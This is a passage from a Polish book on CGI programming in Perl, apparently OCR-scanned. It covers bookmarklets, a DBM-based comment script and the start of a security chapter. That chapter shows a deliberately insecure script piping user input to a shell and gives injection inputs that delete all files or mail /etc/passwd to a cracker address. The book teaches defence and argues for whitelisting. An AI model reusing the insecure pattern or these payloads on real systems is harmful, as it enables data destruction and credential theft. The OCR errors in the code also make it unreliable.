pól. Następnie za pomocą instrukcji split rozdziela je i przenosi do tablicy, przy czym wszystkie wielkie litery w każdej nazwie pola zamieniane są na małe. Następny wiersz jest trochę bardziej skomplikowany: my @typy = map "string", @nazwy_pol; W obiekcie WDDX muszą być znane typy danych poszczególnych pól w zestawie rekordów. W tym wypadku każde z pól możemy traktować jak łańcuch, więc za pomocą funkcji map języka Perl tworzona jest w skrypcie tablica, która zostaje przypisana do zmiennej Stypy. Otrzymuje ona taki sam rozmiar jak tablica nazw pól, @nazwy_pol, a każdemu jej elementowi zostaje nadany typ "string". Potem przechodzi do nowego obiektu zestawu rekordów, WDDX::Recordset, po czym w pętli odczytuje plik, dodając poszczególne wiersze do obiektu.
Programowanie CGI w Perlu
93
Następnie zestaw rekordów przekształcamy w kod JavaScript, który przenosimy do szablonu w miejsca znacznika dane_piosenek. Na tym kodzie, uzyskanym przy użyciu modułu WDDX, opiera się opisany już wcześniej kod JavaScript.
Bookmarklety Niniejszy rozdział zakończymy omówieniem znacznie rzadszego zastosowania JavaScriptu, a mianowicie bookmarkletów, czyli aplikacji zakładkowych. Bookmarklety to javascriptowe URL-e zapisane jako zakładki. Elementarna koncepcja, na której się opierają, sięga narodzin JavaScripru. Wzrost ich popularności zaczął się od chwili, gdy Steve Kangas ukuł termin bookmarklet (wym. bukmarklet) i stworzył poświęcony im serwis Web pod adresem http://www.bookmarklets.com/. Dla wielu osób book-marklety to tylko błyskotki, lecz faktycznie kryją one w sobie znacznie większy potencjał. Bookmarklety swoją rzeczywistą wartość wykazują w połączeniu ze skryptami CGI, i właśnie dlatego nas tu interesują. Podstawy Przede wszystkim zobaczmy, jak bookmarklety działają. O wiele łatwiej je zademonstrować niż objaśnić, więc popatrzmy na najpopularniejszy program świata, „Witaj, świecie", w wersji bookmarklętowej. Kod źródłowy jest następujący: javascript:alert("Witaj, świecie!") Gdybyśmy wpisali go w przeglądarce w polu adresu, wówczas wyświetlony zostałby komunikat pokazany na rysunku 7.4. Ten prosty program można wpisać bezpośrednio w przeglądarce, ponieważ ma on postać zgodną z regułami zapisu URL-i. Schemat jauascript podany w URL-u informuje przeglądarkę, która taki schemat obsługuje, że resztę URL-a powinna zinterpretować jako kod JavaScript w kontekście bieżącej strony Web, a rezultat zwrócić jako nową stronę Web. Taki sam format można również zastosować w hiPerlaczu. Gdyby poniższy zapis umieścić w webowej stronie HTML, wtedy po kliknięciu takiego łącza uzyskalibyśmy taki sam komunikat: <A HREF='javascript:alert ("Witaj, świecie!")'>Uruchom skrypt</A> Jednak w obydwu przedstawionych przykładach nie będziemy mieć do czynienia z bookmarkletami, dopóki URL nie zostanie zapisany w przeglądarce jako zakładka. Konkretny sposób zależy oczywiście od przeglądarki. W większości przeglądarek wystarczy kliknąć hiPerlacze prawym przyciskiem myszy i wybrać polecenie dopisania łącza do zakładek. Tym samym skrypt stanie się bookmarkletem, który można uruchomić wybierając go z listy zakładek. Przypatrzmy się bardziej skomplikowanemu przykładowi. Do tej pory już kilkakrotnie odwoływaliśmy się do dokumentów RFC. Utwórzmy bookmarklet, który umożliwi nam odszukanie określonego RFC. Posłużymy się adresem htty:llvm.faqs.org/rfc/ jako wskazaniem magazynu RFC. Oto jak mógłby wyglądać odpowiedni kod w JavaScripcie: rfcNum = prompt( "Numer RFC: ", "" ); if ( rfcNum == parselnt( rfcNum ) ) open( "http://www.faqs.org/rfc/rfc" + rfcNum + '.txt" ) else if ( rfcNum ) alert( "Niepoprawny numer." ); Zwracamy się do użytkownika o podanie numeru RFC. Jeśli użytkownik wprowadzi liczbę całkowitą, to utworzymy nowe okno przeglądarki, do którego pobierzemy odpowiedni dokument RFC. Zauważmy, że nie jest tu brana pod uwagę sytuacja, w której RFC o danym numerze nie istnieje - serwer Web www.faqs.org zgłosi użytkownikowi błąd o kodzie 404. Jeśli jednak wprowadzona wartość nie będzie liczbą całkowitą, fakt ten zasygnalizuje użytkownikowi nasz kod. Jeśli użytkownik nic nie wpisze lub kliknie przycisk Anuluj, nie podejmiemy żadnych działań. Teraz przekształćmy ten kod w bookmarklet. Najpierw musimy się upewnić, że nasz kod nie zwraca żadnych wartości. Jeśli kod bookmarkletu zwracałby wartość, niektóre przeglądarki (między innymi Netscape) zastąpiłyby bieżącą stronę zwróconą wartością. Użytkownicy mogliby być zdezorientowani, gdyby po każdym użyciu bookmarkletu otrzymywali na przykład pustą stronę z napisem [null] w lewym górnym rogu. Najłatwiej temu zapobiec, posługując się funkcją void. Nie przekazuje się do niej żadnych argumentów, a ona niczego nie zwraca. Funkcję void wstawimy tuż po ostatniej instrukcji zwracającej wartość albo po prostu dołączymy ją na samym końcu. Skorzystamy z drugiej możliwości, ponieważ w omawianym skrypcie są aż trzy instrukcje, które mogą być wykonane jako ostatnie, w zależności od tego, co zrobi użytkownik. Na końcu skryptu dopisujemy więc następujący wiersz: void( 0 ) ; Teraz powinniśmy usunąć lub zakodować wszelkie znaki niedozwolone w URL-u, czyli między innymi 9 białe znaki, a także następujące : <,>, #,%,", {, }, I,\,^, [,]/. Niemniej jednak Netscape Communicator 4.x nie rozpozna zakodowanych elementów składniowych (na przykład nawiasów) w URL-ach javascriptowych. Chociaż Niedozwolone są również znaki sterujące oraz znaki spoza zbioru ASCII, lecz te tak czy inaczej muszą być odpowiednio zamaskowane w samym JavaScripcie. Ponadto można zauważyć, że przedstawiona tu lista różni się od podanej w rozdziale 2 w części „Kodowanie w URL-ach". Tamta lista odnosi się do URL-i protokołu HTTP, więc obejmuje znaki o szczególnym znaczeniu w tym protokole. URL-e Java-Scripru są inne niż URL-e HTTP, więc podana tu lista obejmuje tylko te znaki, które są niedozwolone we wszystkich URL-ach. 9
Programowanie CGI w Perlu
94
oznacza to, że bookmarklety zawierające te znaki są nieprawidłowymi URL-ami, musimy je pozostawić w postaci niezakodowanej, jeśli chcemy, aby bookmarklety działały w przeglądarkach Netscape'a. Inne przeglądarki akceptują te znaki jako zakodowane lub niezakodowane. W każdym razie powinniśmy usunąć wszelkie zbędne białe znaki. Na koniec poprzedzamy nasz kod napisem javascript: i oto, co otrzymujemy: javascript:rfcNum=prompt( 'Numer%20RFC:', ' ' ); if(rfcNura==parse!nt (rfcNum) ) 1 open ('http:7/www.faqs.org/rfc/rfc +rfcNum+'.txt'); else if(rfcNum) alert ('Niepoprawny%20numer. ' ) ; void (0) ; Podziały wierszy nie występują w URL-u, lecz tu je wprowadziliśmy, gdyż pojedynczy wiersz nie mieścił się na stronie. Pracując nad bookmarkletami należy jeszcze pamiętać o jednym: bookmarklety wykonywane są w tym samym zasięgu danych co główna strona wyświetlana w przeglądarce użytkownika. Ma to pewne zalety, poznamy je w następnym podrozdziale, „Bookmarklety i CGI". Wadą tego rozwiązania jest to, że należy uważać, aby tworzony przez nas kod nie wchodził w konflikt z kodem, który zaszyty jest w bieżącej stronie. Powinno się uważać zwłaszcza na nazwy zmiennych i tworzyć takie nazwy, których prawdopodobieństwo użycia w innych serwisach Web jest znikome. W JavaScripcie uwzględniana jest wielkość liter, więc rozsądne wydaje się stosowanie nietypowych kombinacji wielkich i małych liter. W naszym ostatnim przykładzie zapewne lepszą (choć mniej czytelną) nazwą zmiennej byłoby rFcNuM. Zgodność Ponieważ w bookmarkletach używany jest JavaScript, nie ze wszystkimi przeglądarkami Web są one zgodne. Niektóre przeglądarki, na przykład Microsoft Internet Explorer 3.0, mimo że obsługują JavaScript, nie obsługują bookmarkletów. U innych z kolei obsługa ta nie jest pełna. Należy więc przeprowadzać rozległe testy, chyba że zależy nam na rozprowadzaniu bookmarkletów jako nie zawsze działających gadżetów. Użycie JavaScriptu w bookmarkletach odbiega od tradycyjnego, więc powinno się je testować na tylu wersjach przeglądarek i tylu platformach, na ilu to tylko możliwe. Bookmarklety powinny być krótkie. Niektóre przeglądarki nie nakładają ograniczeń na długość URL-a, inne zaś narzucają limit 255 znaków. Różnice te mogą zależeć nawet od platformy: na przykład Communicator 4.x pozwala tylko na 255 znaków w systemie MacOS, podczas gdy w Win32 URL może być o wiele dłuższy. Cechą bookmarkletów docenianą przez użytkowników jest niewystępowanie w nich problemów powodowanych niezgodnością przeglądarek pod względem JavaScriptu. Ponieważ implementacje JavaScriptu firm Netscape i Microsoft są różne, zamiast tworzyć jeden uniwersalny bookmarklet oparty na elementach niezgodnych z jedną bądź z drugą implementacją, można utworzyć dwa odrębne. Wówczas użytkownicy będą mogli wybrać bookmarklet właściwy dla konkretnej przeglądarki. Problem jednak polega na tym, że Netscape i Microsoft nie są jedynymi dystrybutorami przeglądarek internetowych. Chociaż te dwie firmy są twórcami najważniejszych przeglądarek występujących obecnie w sieci Web, istnieją też inne wysokiej jakości przeglądarki, które także obsługują JavaScript i bookmarklety (na przykład Opera), a ich popularność wciąż rośnie. Decydując się na obsługę określonych przeglądarek, będziemy zapewne musieli wybrać, na użytkownikach których przeglądarek nam zależy oraz których nie szkoda nam pominąć. Na szczęście ECMA-Script i DOM wkrótce powinny się stać standardami przestrzeganymi we wszystkich przeglądarkach. Bookmarklety i CGI Co bookmarklety dają nam jako twórcom skryptów CGI? Bookmarklety mogą wszystko, co może JavaScript, włącznie z wyświetlaniem okien dialogowych, tworzeniem nowych okien przeglądarki i generowaniem nowych żądań HTTP. Co więcej, ponieważ działają w kontekście głównego okna przeglądarki, mogą współdziałać z obiektami lub informacjami w tym oknie bez ograniczeń związanych z bezpieczeństwem, które serwis może nałożyć na okno HTML. Dlatego bookmarklety stanowią bardzo odmienny, a wręcz przezroczysty interfejs do naszych skryptów CGI. Popatrzmy na przykład. Powiedzmy, że chcielibyśmy, aby podczas przeglądania stron Web można było tworzyć i gromadzić komentarze na ich temat, które potem można by pobrać przy kolejnych odwiedzinach. Możemy do tego wykorzystać prosty bookmarklet i skrypt CGI. Najpierw zajmijmy się skryptem CGI. Działanie naszego skryptu CGI musi być dwojakie. Musi przyjąć URL i komentarz, a następnie je zapisać. Musi także móc pobrać wcześniej zapisany komentarz, gdy podany zostanie konkretny URL. Przykład 7.6 przedstawia służący do tego kod. Przykład 7.6. comments.cgi #!/usr/bin/perl -wT use strict; use CGI; use DB_File; use Fcntl qw( :DEFAULT :flock ); my $PLIK_DBM = "/usr/local/apache/data/bookmarklety/komentarze.dbm"; my $q = new CGI; my $url = $q->param( "url" ); my $komentarz; if ( defined $q->param( "zapisz" ) ) { $komentarz = $q->param( "komentarz" ) || "";
Programowanie CGI w Perlu
95
zapisz_komentarz( $url, $komentarz ); } else { $komentarz = pobierz_komentarz( $url ); } print
$q->header( "text/html" ), $q->start_html( -title => $url, -bgcolor => "white" ), $q->start_form( { action => "/cgi/bookmarklety/comments.cgi" } ), $q->hidden( "url" ), $q->textarea( -name => "komentarz", -cols => 20, -rows => 8, -value => $komentarz ), $q->div( { -align => "right" }, $q->submit( -name => "zapisz", -value => "Zapisz komentarz" ) ), $q->end_form, $q->end_html; sub pobierz_komentarz { my( $url ) = @_; my %dbm; local *DB; my $db = tie %dbm, "DB_File", $PLIK_DBM, 0_RDONLY l 0_CREATE or die "Nie jest możliwy odczyt z pliku $PLIK_DBM: $!"; my $fd = $db->fd; open DB, "+<&=$fd" or die "Nie można otworzyć deskryptora pliku DB_File: $!\n"; flock DB, LOCK_SH; my $komentarz = $dbm{$url}; undef $db; untie %dbm; close DB; return $komentarz; } # Zapisywanie komentarza sub zapisz_komentarz { my( $url, Skomentarz ) = @_; my %dbm; local *DB; my $db = tie %dbm, "DB_File", $PLIK_DBM, O_RDWR | O_CREATE or die "Nie jest możliwy zapis do pliku $PLIK_DBM: $!"; my $fd = $db->fd; open DB, "+<S=$fd" or die "Nie można otworzyć deskryptora pliku DB_File: $!\n"; flock DB, LOCK_EX; $dbm{$url} = $komentarz; undef $db; untie %dbm; close DB; } Do gromadzenia komentarzy i URL-i wykorzystujemy dyskową tablicę asocjacyjną, zwaną plikiem DBM. Funkcja tie wiąże tablicę asocjacyjną Perla z tym plikiem; potem przy każdym odczycie lub zapisie w tablicy asocjacyjnej, analogiczne działanie Perl automatycznie przeprowadza na związanym pliku. Korzystaniem z plików DBM zajmiemy się dokładniej w rozdziale 10, „Obsługa danych w plikach". JavaScript, który posłuży do wywoływania powyższego skryptu CGI, jest następujący: url = document.location.href ; open( "http://localhost/cgi/bookmarklety/comments.cgi?url=" + escape( url ), url, "width=300,height=300,toolbar=no,menubar=no" ); void( 0 ); Jako bookmarklet wygląda on następująco: javascript:dOc_uRl=document.location.href;open('http://localhost/cgi/ bookmarklety comments.cgi?url='+escape(dOc_uRl),dOc_uRl,'width=300, height=300,toolbar=no,menubar=no');void(0); Jeśli zapiszemy ten bookmarklet, odwiedzimy serwis Web i z listy zakładek wybierzemy ów bookmarklet, przeglądarka powinna wyświetlić nowe okno. Wprowadźmy komentarz i zapiszmy go. Następnie przejrzyjmy inne strony, powtarzając ewentualnie te same czynności. Gdy wrócimy do pierwszej strony i znów wybierzemy bookmarklet, powinien się pojawić pierwotny komentarz do tej strony, jak na rysunku 7.5. Zauważmy, że okno komentarza nie będzie się samoczynnie aktualizować przy przejściu do innej strony. Bookmarklet musimy wybierać za każdym razem, gdy chcemy odczytać lub zapisać komentarz do bieżącej strony. Gdybyśmy zdecydowali się rozprowadzić ten bookmarklet wśród znajomych, komentarze byłyby użytkowane wspólnie i jedni mogliby widzieć, co drudzy mają do powiedzenia na temat rozmaitych serwisów Web. Ponadto skrypt CGI można umieścić w bezpiecznym katalogu i dodatkowo wyposażyć w osobne bazy danych dla każdego użytkownika; można sprawić, aby użytkownicy cudze komentarze mogli jedynie czytać.
Programowanie CGI w Perlu
96
Ze względu na ograniczenia JavaScriptu związane z bezpieczeństwem systemu nie moglibyśmy stworzyć aplikacji takiej jak ta, gdyby była ona oparta na standardowej stronie HTML. Jedna strona HTML nie ma dostępu do obiektów na innej stronie HTML, jeśli strony te przynależą do różnych domen (czyli różnych serwerów Web), więc nasz formularz komentarza nie mógłby ustalić URL-a jakiegokolwiek innego okna przeglądarki. Bookmarklety pozwalają obejść to ograniczenie. Przeglądarki na to pozwalają, ponieważ do uruchomienia bookmarkletu wymagane jest świadome działanie ze strony użytkownika. Bookmarklety mają jeszcze wiele innych zastosowań. Liczne bookmarklety przykładowe, wykorzystujące istniejące zasoby internetowe, można obejrzeć pod adresem http://www.bookmarklets.com. Wiele z nich to gadżety, lecz możliwości bo-okmarkletów są większe. Bookmarklety wykazują się swoimi możliwościami zwłaszcza w serwisach handlowo-usługowych, w których mogą się przydać informacje z innych serwisów, uzyskiwane za pośrednictwem użytkowników przeglądających zasoby Internetu. Na przykład firmy w rodzaju Better Business Bu-reau mogą udostępniać bookmarklety, które umożliwią użytkownikom sprawdzenie, jak wysoko jest oceniany przez innych użytkowników właśnie odwiedzany serwis. Firmy sprzedające wyposażenie dodatkowe lub usługi gwarancyjne mogą udostępnić użytkownikom bookmarklet, którego będą mogli oni użyć podczas interne-towych zakupów. Inne zastosowania to tylko kwestia pomysłowości.
Rozdział 8 Bezpieczeństwo Programując CGI uzyskujemy coś zdumiewającego: kiedy tylko skrypt umieścimy w Internecie, staje się on natychmiast dostępny całemu światu. Niemal każdy, niemal zewsząd może uruchomić naszą aplikację na naszym serwerze Web. Owszem, jest to powód do ekscytacji, lecz powinien to być też powód do obaw. Nie każdy 10 użytkownik Internetu ma uczciwe zamiary. Crackerzy , chcąc się popisać przed swymi kompanami, mogą w sposób wandalski potraktować nasze strony interneto-we. Rywale lub inwestorzy mogą próbować zdobyć zastrzeżone informacje o strukturze organizacyjnej i produktach przedsiębiorstwa. Zagrożenia nie zawsze wynikają ze złej woli użytkowników. Powszechna dostępność skryptu CGI oznacza, że ktoś może uruchomić skrypt w warunkach, które nigdy by nam nie przyszły na myśl i z pewnością nigdy nie zostały przetestowane. Skrypt webowy nie powinien wymazywać plików, gdy ktoś przypadkiem wpisze apostrof w polu formularza, co przecież nie jest wykluczone. Również takie sytuacje powinny stać się przedmiotem troski o bezpieczeństwo.
Istotność bezpieczeństwa w strukturze Web Wielu projektantów CGI nie traktuje bezpieczeństwa z należytą powagą. Zanim więc przyjrzymy się, jak poprawić bezpieczeństwo skryptów, przeanalizujmy, dlaczego dbałość o bezpieczeństwo powinniśmy stawiać na pierwszym miejscu: 1. W Internecie serwis Web decyduje o wizerunku publicznym. Jeśli strony staną się niedostępne lub zostaną w wandalski sposób zmienione, wpłynie to negatywnie na odbiór naszej firmy lub instytucji przez innych, choćby nawet jej zasadnicza działalność nie miała żadnego związku z Internetem. 2. Na serwerze Web mogą się znajdować cenne informacje. W obszarze zastrzeżonym mogą się znajdować poufne lub cenne informacje, do których nie powinny mieć dostępu osoby nieupoważnione. Na przykład materiały lub usługi oferowane za opłatą członkowską, nie powinny być dostępne dla tych, którzy nie wnieśli opłat lub nie mają statusu członka. Na szwank mogą być narażone nawet te pliki, które znajdują się poza drzewem dokumentów serwera i przez to nikomu niedostępne poprzez sieć w normalnym trybie (np. pliki z numerami kart kredytowych). 3. Ktoś, kto włamał się do serwera Web, ma łatwiejszy dostęp do reszty sieci. Jeśli na serwerze Web nie mielibyśmy cennych informacji, to i tak nie moglibyśmy tego zapewne powiedzieć o całej sieci. Jeśli ktoś się włamie do serwera Web, łatwiej mu będzie włamać się do innego systemu w tej samej sieci, zwłaszcza jeśli serwer Web znajduje się wewnątrz zapory ogniowej organizacji (co, jak widać, jest złym rozwiązaniem). 4. Nieczynny system może się przyczynić do uszczuplenia dochodów. Jeśli przychody firmy w bezpośredni sposób zależą od serwisu Web, z pewnością stracimy zyski, gdy system stanie się niedostępny. Jednak nawet wtedy, gdy nie zaliczamy się do tej grupy, przypuszczalnie udostępniamy sieciowo materiały marketingowe lub informacje kontaktowe. Potencjalni klienci, którzy nie będą mogli uzyskać tych informacji, nie wezmą nas pod uwagę. 5. Usuwając uszkodzenia, marnuje się czas i zasoby. Gdy w systemie pojawiają się uszkodzenia, konieczne jest przeprowadzenie wielu czynności. Najpierw trzeba ustalić zakres szkód. Potem najprawdopodobniej trzeba odtworzyć stan systemu na podstawie kopii zapasowych. Należy też ustalić przyczyny stanu obecnego. Jeśli to cracker uzyskał dostęp do serwera Web, musimy ustalić, w jaki sposób mu się to udało, aby zapobiec ewentualnym przyszłym włamaniom. Jeśli to skrypt CGI zniszczył pliki, musimy zlokalizować i naprawić usterkę, aby na przyszłość uniknąć podobnych problemów. 6. Narażamy się na pociągnięcie do odpowiedzialności. Jeśli tworzymy skrypty CGI dla innych firm, i okaże się, że jeden z nich przyczynił się do zaistnienia poważnego naruszenia bezpieczeństwa, to zrozumiałe 10
Cracker to ktoś, kto usiłuje włamać się do komputera, wtrąca się w transmisje sieciowe i stara się płatać, niekoniecznie eleganckie, internetowe figle. Pod tym względem różni się od hackera, zdolnego programisty, potrafiącego znaleźć twórcze, a zarazem proste rozwiązania. Wielu programistów (większość z nich uważa się za hackerów) stawia wyraźną granicę między jednym a drugim określeniem, chociaż w mass mediach to rozróżnienie na ogół nie funkcjonuje.
Programowanie CGI w Perlu
97
jest, że możemy zostać za to pociągnięci do odpowiedzialności. Jednak nawet wtedy, gdy skrypty CGI opracowujemy dla własnej firmy, możemy odpowiadać przed innymi. Gdyby ktoś włamał się do naszego serwera Web, mógłby go potraktować jak bazę wypadową do ataków na inne firmy. Podobnie, gdyby nasza firma przechowywała poufne informacje o innych (np. numery kart kredytowych naszych klientów), moglibyśmy zostać przez nich pociągnięci do odpowiedzialności, jeśli takie informacje zostałyby wykradzione. To tylko niektóre z licznych powodów, dla których bezpieczeństwo w strukturze Web tak bardzo się liczy. Każdy zapewne potrafiłby wymienić jeszcze kilka innych. Skoro wiemy, jak ważne jest, by skrypty CGI były bezpieczne, możemy zadać sobie pytanie, co decyduje o bezpieczeństwie skryptu. Wszystko się zawiera w jednej prostej sentencji: nigdy nie wolno ufać danym pochodzącym od użytkownika. Wydaje się, że wdrożenie tego postulatu jest proste, jednak w rzeczywistości takie nie jest. W dalszej części rozdziału pokażemy, jak go wcielić w czyn.
Obsługa danych wprowadzonych przez użytkownika Zagrożenia bezpieczeństwa pojawiają się wtedy, gdy czynimy zbyt optymistyczne założenia co do danych: zakładamy, że użytkownicy będą robić to, czego się od nich oczekuje, a oni mimo to nas zaskakują. Użytkownicy są w tym dobrzy, nawet wtedy gdy się nie starają. Aby napisać bezpieczny skrypt CGI, musimy myśleć twórczo. Przeanalizujmy pewien przykład. Wywoływanie aplikacji zewnętrznych figlet to zabawna aplikacja, umożliwiająca tworzenie dużych, dekoracyjnych napisów złożonych ze znaków ASCII (tzw. ASCII-art), o różnych rozmiarach i stylach. Efekty działania figletu można obejrzeć w sygnaturach wielu wiadomości elektronicznych i artykułów grup dyskusyjnych. Jeśli/żg/efu nie mamy, uzyskamy go pod adresem http://st-www.cs.uiuc.edu/users/chai/figlet.html. figlet można uruchomić z poziomu wiersza poleceń w następujący sposób: $ figlet -f fonts/slant 'Uwielbiam CGI!' Wynik będzie następujący:
Możemy napisać bramę CGI, która umożliwi użytkownikowi wprowadzenie pewnego tekstu, wykona polecenie takie jak powyższe, przechwyci wynik i zwróci go do przeglądarki. Przykład 8.1 przedstawia zapis formularza HTML. Przyklad 8.1.figlet.html <html> <head> <title>Brama f igletowa</title> </head><body bgcolor="#FFFFFF"> <div align="center"> <h2>Brama f igletowa</h2> <form action="/cgi/unsafe/f iglet_INSECURE . cgi" method="GET"> <p>Proszę wprowadzić łańcuch do przekazania do figletu: <input type="text" name="tekst"></p> <input type="submit"> </form> </body> </html> Przykład 8.2 przedstawia program. Przykład 8.2. figletJNSECURE.cgi #!/usr/bin/perl -w use strict; use CGI; use CGIBook::Error; # Stała: ścieżka do figletu my $FIGLET = '/usr/local/bin/figlet'; my $q = new CGI; my $tekst = $q->param( "tekst" ); unless ( $tekst ) { error( $q, "Proszę wprowadzić tekst do wyświetlenia." ); } local *POTOK; ## Ten kod jest NIEZABEZPIECZONY... ## NIE wolno go używać na publicznym serwerze Web!! open POTOK, "$FIGLET \"$tekst\" |" or die "Nie można otworzyć potoku do figletu: $!"; print $q->header( "text/plain" ); print while <POTOK>; close POTOK; Najpierw sprawdzamy, czy użytkownik wprowadził łańcuch, a jeśli nie wprowadził, to drukujemy komunikat o błędzie. Następnie otwieramy potok do figletu (do tego służy końcowa kreska pionowa: znak „ l ") Otwarcie potoku do innej aplikacji umożliwia odczyt z aplikacji w taki sposób, jak gdyby był to plik. W tym wypadku rezultat działania figletu odczytujemy poprzez uchwyt plikowy o nazwie POTOK. Następnie drukujemy typ treści, a po nim wynik odczytany z figletu. W Perlu wystarczy do tego jeden wiersz: pętla while odczytuje kolejno wiersze poprzez uchwyt POTOK, umieszcza je w zmiennej $_ i wywołuje
Programowanie CGI w Perlu
98
print; gdy polecenie print wywoływane jest bez argumentu, wtedy na wyjście podaje ono wartość zawartą w $_; pętla automatycznie zakończy działanie, gdy wszystkie dane z figletu zostaną odczytane. Nie ma co ukrywać, nasz przykład nie jest zbyt błyskotliwy, figlet ma wiele przełączników umożliwiających m.in. zmianę kroju, lecz nam zależy na tym, aby przykład był krótki i prosty, byśmy się mogli skupić na zagadnieniach bezpieczeństwa. Wiele osób sądzi, że nie powinno się stać nic złego, gdy skrypt jest tak prosty. Jednak w rzeczywistości umożliwia on bystremu użytkownikowi wykonanie dowolnego polecenia w danym systemie! Zanim przejdziesz do dalszej lektury, zastanów się, czy sam potrafisz odkryć, na czym polega zagrożenie. Wskazówka: polecenia wykonywane są tu z tymi samymi uprawnieniami, którymi dysponuje serwer Web (np. jako nobody). Jeślibyś chciał ten przykład przetestować, to tylko na niepublicznym serwerze Web, który nie jest podłączony do Internetu! Na koniec spróbuj wymyślić środek zaradczy. Powodem, dla którego zachęcamy do samodzielnego rozwiązania problemu, jest to, że istnieje wiele możliwych rozwiązań, które wydają się bezpieczne, a w rzeczywistości takie nie są. Zanim zapoznamy się z odpowiednim rozwiązaniem, najpierw przeanalizujmy problem. Powinno być wręcz oczywiste (choćby z komentarzy w kodzie), że winę ponosi wywołanie, które otwiera potok dofigletu. Dlaczego jest to niebezpieczne? Owszem, jest bezpieczne - jeśli użytkownik wpisze same słowa, bez znaków interpunkcyjnych. Zakładając, że tak właśnie będzie, zapominamy o regule, że nie wolno ufać danym pochodzącym od użytkownika. Powłoka i dane wprowadzone przez użytkownika Nie możemy założyć, że pola służące do wprowadzania danych będą zawierać wyłącznie nieszkodliwe dane, bowiem może się w nich znaleźć niemal wszystko. Gdy Perl otwiera potok do programu zewnętrznego, wtedy polecenie przekazywane jest przez powłokę. Przypuśćmy, że użytkownik wprowadzi następujący tekst: 'rm -rf /' lub: "; maił cracker@niegodziwcy.net </etc/passwd" Powyższe instrukcje zostałyby wykonane tak, jak gdyby z poziomu powłoki wprowadzono następujące polecenia: $ /usr/local/bin/figlet "'rm -rf /'" $ /usr/local/bin/figlet ""; maił cracker@niegodziwcy.net </etc/passwd Pierwsze polecenie mogłoby wymazać wszystkie pliki na serwerze, tak że zmuszeni byśmy zostali do 11 wyciągnięcia z szafy taśm kopii zapasowych. Drugie zaś wysłałoby pocztą elektroniczną plik haseł systemowych do kogoś, kto raczej nie powinien się logować w naszym systemie. Serwery Windows pod tym względem nie mają się lepiej: równie katastrofalne skutki miałby wpis "| del /f /s /q c:\". Co więc powinniśmy zrobić? Główny problem polega na tym, że powłoka wielu znakom nadaje specjalne znaczenie. Na przykład znak,/" umożliwia osadzanie jednego polecenia w drugim. Dzięki niemu możliwości powłoki są tak duże, lecz w tym kontekście są one po prostu groźne. Moglibyśmy sporządzić listę wszystkich znaków specjalnych. Musielibyśmy uwzględnić wszystkie te znaki, które mogą spowodować uruchomienie kolejnych poleceń, poważnie zmieniających środowisko, lub zamknąć właściwe polecenie i tym samym umożliwić wykonanie dodatkowych instrukcji. Zmodyfikowany kod mógłby wyglądać następująco: my $q = new CGI; my $tekst = $q->param( "tekst" ); unless ( $tekst ) { error( $q, "Proszę wprowadzić tekst do wyświetlenia." ); } ## Ten przykład jest niekompletny; poniższa kontrola NIE zapewnia bezpieczeństwa if ( $tekst =~ /r\$\\"';i ... ] ) { error( $q, "W podanym tekście nie może być następujących znaków: ~\$\\\"';& ..." ); } Ten przykład nie jest kompletny, ale nie będziemy tu podawać pełnej listy niebezpiecznych znaków. Nie będziemy tworzyć takiej listy, ponieważ nie możemy mieć pewności, że nie pominiemy niczego istotnego, i właśnie dlatego nie jest to dobre podejście do problemu. Powyższe rozwiązanie wymaga znajomości każdego możliwego sposobu, w jaki powłoka może wykonać groźne polecenie. Pominięcie choćby jednego może narazić nas na szwank. Sposoby postępowania Prawidłowe podejście nie polega na sporządzaniu listy niedozwolonych czynności. Prawidłowe podejście polega na sporządzeniu listy czynności dozwolonych. Przy takim rozwiązaniu łatwiej jest nad wszystkim zapanować. Jeśli zaczniemy od tego, że pozwolimy na jakiekolwiek działania, a potem zabierzemy się do szukania ewentualnych przyczyn kłopotów, to na szukaniu spędzimy bardzo dużo czasu. Do sprawdzenia mamy niezliczone kombinaqe. Jeśli początkowo nie pozwolimy na żadne działanie, po czym będziemy stopniowo dodawać kolejne elementy, to będziemy mogli sprawdzić po kolei każdy z nich, zyskując pewność, że niczego nie przepuściliśmy. Jeśli coś pominiemy, to najwyżej nie dozwolimy czegoś, na co powinniśmy pozwolić, a wadę tę
11 Ten przykład pokazuje, dlaczego ważne jest ustanawianie speq'alnego użytkownika, takiego jak nobo-dy, który by działał na serwerze Web, i dlaczego ten użytkownik powinien dysponować jak najmniejszą liczbą plików (zob. rozdział l, „Pierwsze kroki")
Programowanie CGI w Perlu
99
możemy skorygować poprzez testy i dodanie brakującego składnika. Błądzenie jest w tym wypadku o wiele bezpieczniejsze. Środki zaradcze powinny być proste - jest to ostateczny powód, dla którego ten sposób jest bezpieczniejszy. Nigdy nie wolno zdawać się na kogoś innego, że sporządzi „wyczerpującą" listę specjalnych znaków powłoki zarówno ważnych, jak i niebezpiecznych. To my jesteśmy odpowiedzialni za swój kod, więc sami powinniśmy się orientować, dlaczego i jak ten kod działa, zamiast pokładać ślepą wiarę w cudzych umiejętnościach. Przygotujmy zatem listę rzeczy dozwolonych. Umieścimy na niej litery, cyfry, znaki podkreślenia, spacje, łączniki, kropki, pytajniki i wykrzykniki. Jest tego sporo i powinno w zupełności wystarczyć do większości tekstów, które użytkownik chciałby poddać konwersji. Jeszcze bardziej podniesiemy poziom bezpieczeństwa, gdy argumenty obejmiemy znakami pojedynczego cudzysłowu prostego (apostrofami). Przykład 8.3 przedstawia bezpieczniejszą wersję poprzedniego skryptu CGI. Przykład 8.3. figlet_INSECURE2.cgi #!/usr/bin/perl -w use strict; use CGI; use CGIBook::Error; my $FIGLET = '/usr/local/bin/figlet'; my $q = new CGI; my $tekst = $q->param( "tekst" ); unless ( $tekst ) { error( $q, "Proszę wprowadzić tekst do wyświetlenia." ), } unless ( $tekst =~ /^[\w .!?-]+$/ } { error( $q, "Wprowadzono niedozwolony znak. " . "Wpisywać można tylko litery, cyfry, " . "znaki podkreślenia, spacje, kropki, wykrzykniki, " . "pytajniki i łączniki." ); } local *POTOK; ## Ten kod jest bezpieczniejszy, ale wciąż groźny... NIE wolno go używać na publicznym serwerze Web!! open POTOK, "$FIGLET '$tekst' l" or die "Nie można otworzyć figletu: $!"; print $q->header( "text/plain" ) ; print while <POTOK>; close POTOK; Ten kod jest znacznie lepszy. W obecnej formie nie stanowi zagrożenia. Jedyny problem polega na tym, że ktoś inny, kto zajmie się skryptem po nas, mógłby wprowadzić do niego drobne zmiany, w wyniku których skrypt na powrót stałby się niebezpieczny. Oczywiście nie możemy uwzględnić wszystkich ewentualności - gdzieś musimy się zatrzymać. Czy zatem utrzymując, że skrypt mógłby być jeszcze lepiej zabezpieczony, jesteśmy po prostu zbyt przewrażliwieni? Być może, ale gdy chodzi o 